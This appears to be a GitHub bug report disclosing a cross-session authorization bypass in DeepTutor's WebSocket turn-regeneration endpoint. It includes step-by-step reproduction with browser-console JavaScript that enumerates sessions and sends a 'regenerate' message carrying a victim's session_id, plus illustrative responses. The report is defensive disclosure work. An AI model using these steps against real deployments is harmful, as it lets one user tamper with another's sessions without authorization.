Skip to content

[Bug]:Cross-Session Authorization Bypass in Turn Regeneration - Unauthorized Session Manipulation #515

@Ro1ME

Description

@Ro1ME

Do you need to file an issue?

  • I have searched the existing issues and this bug is not already filed.
  • I believe this is a legitimate bug, not just a question or feature request.

Describe the bug

DeepTutor contains a cross-session authorization bypass vulnerability in the turn regeneration flow. An unauthorized caller can reuse another user's session_id in a WebSocket regenerate request to trigger unauthorized turn regeneration and state mutation on the victim's session.

The vulnerability exists in deeptutor/services/session/turn_runtime.py:TurnRuntimeManager.regenerate_last_turn where the WebSocket endpoint does not validate that the caller has ownership or authorization to regenerate turns for the session identified by the user-controlled session_id parameter.

Steps to reproduce

  1. Install and start DeepTutor:

    • Clone the repository and install dependencies
    • Start the service according to upstream documentation
    • Open the web application in a browser
  2. Create a victim session (Browser 1 - Victim Context):

    • Create a normal chat session through the product UI
    • Send a harmless message and wait for the turn to complete
    • Open Developer Tools → Network tab
    • Inspect WebSocket frames or session API responses
  3. Capture the victim session_id:

    • Record the session_id from Network tab WebSocket frames
    • Alternative: Run in Console: fetch('/api/v1/sessions').then(r => r.json()).then(console.log)
    • Copy an existing completed session_id (e.g., "abc123-victim-session")
  4. Open a second browser context (Browser 2 - Attacker Context):

    • Use a different browser profile or incognito/private window
    • Do NOT reuse the victim's session cookies or authentication
    • Open the service URL and Developer Tools → Console
  5. Establish WebSocket connection from attacker context:

    // In Browser 2 Console
    const ws = new WebSocket('ws://localhost:PORT/api/v1/ws'); // Adjust protocol and port
    ws.onmessage = e => console.log('Received:', e.data);
    ws.onopen = () => console.log('WebSocket connected');
  6. Send unauthorized regenerate request:

    // After WebSocket opens, send regenerate command with victim's session_id
    ws.send(JSON.stringify({
      type: "regenerate",
      session_id: "abc123-victim-session"  // Victim's session_id from step 3
    }));
  7. Observe the response:

    • Keep Console open and watch WebSocket messages
    • A secure implementation should reject the request with 401/403
    • Vulnerable implementation will accept and process the regenerate request
  8. Verify unauthorized session mutation (Browser 1 - Victim Context):

    • Return to the victim browser and refresh the session page
    • Or run in Console: fetch('/api/v1/sessions/abc123-victim-session').then(r => r.json()).then(console.log)
    • Confirm that a new regenerate turn or metadata was created on the victim session
    • Verify the session state changed due to the attacker's WebSocket message
  9. Confirm no authorization check:

    • Verify the server did not reject the request based on session ownership
    • Review deeptutor/services/session/turn_runtime.py to confirm missing authorization

Expected Behavior

The WebSocket regenerate endpoint should:

  • Validate that the caller has ownership or authorization to regenerate turns for the specified session_id
  • Return an error response (e.g., {"error": "Unauthorized", "code": 403}) when an unauthorized caller attempts to regenerate another user's session
  • Implement proper session-level authorization checks before mutating session state
  • Bind sessions to their creator/owner and enforce this binding on all session operations
  • Reject cross-session requests before any state mutation occurs

Related Module

API/Backend

Configuration Used

Default DeepTutor configuration

No special configuration required to reproduce

Vulnerability exists in default WebSocket implementation

Logs and screenshots

Console - Victim session_id captured:

{
  "session_id": "abc123-victim-session",
  "user_id": "victim_user",
  "turns": [
    {"role": "user", "content": "Original message"},
    {"role": "assistant", "content": "Original response"}
  ]
}

WebSocket - Unauthorized regenerate request from attacker:

// Browser 2 Console
ws.send(JSON.stringify({
  type: "regenerate",
  session_id: "abc123-victim-session"  // Victim's session
}));

// WebSocket response (vulnerable):
// {"status": "success", "message": "Regenerating turn..."}
// Should have been: {"error": "Unauthorized", "code": 403}

Verification - Victim session mutated:

{
  "session_id": "abc123-victim-session",
  "user_id": "victim_user",
  "turns": [
    {"role": "user", "content": "Original message"},
    {"role": "assistant", "content": "Original response"},
    {"role": "assistant", "content": "Regenerated response", "regenerated": true}  // Added by attacker!
  ],
  "last_regenerated_at": "2026-04-24T10:30:00Z"  // Timestamp changed!
}

Additional Information

  • DeepTutor Version:v1.4.0
  • Operating System: Windows 11, macOS 14.0, Ubuntu 22.04 (all affected)
  • Python Version: 3.10+
  • Node.js Version: 18.17.0+
  • Browser (if applicable): Chrome 120+, Firefox 121+ (any modern browser with WebSocket support)
  • Related Issues: None

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions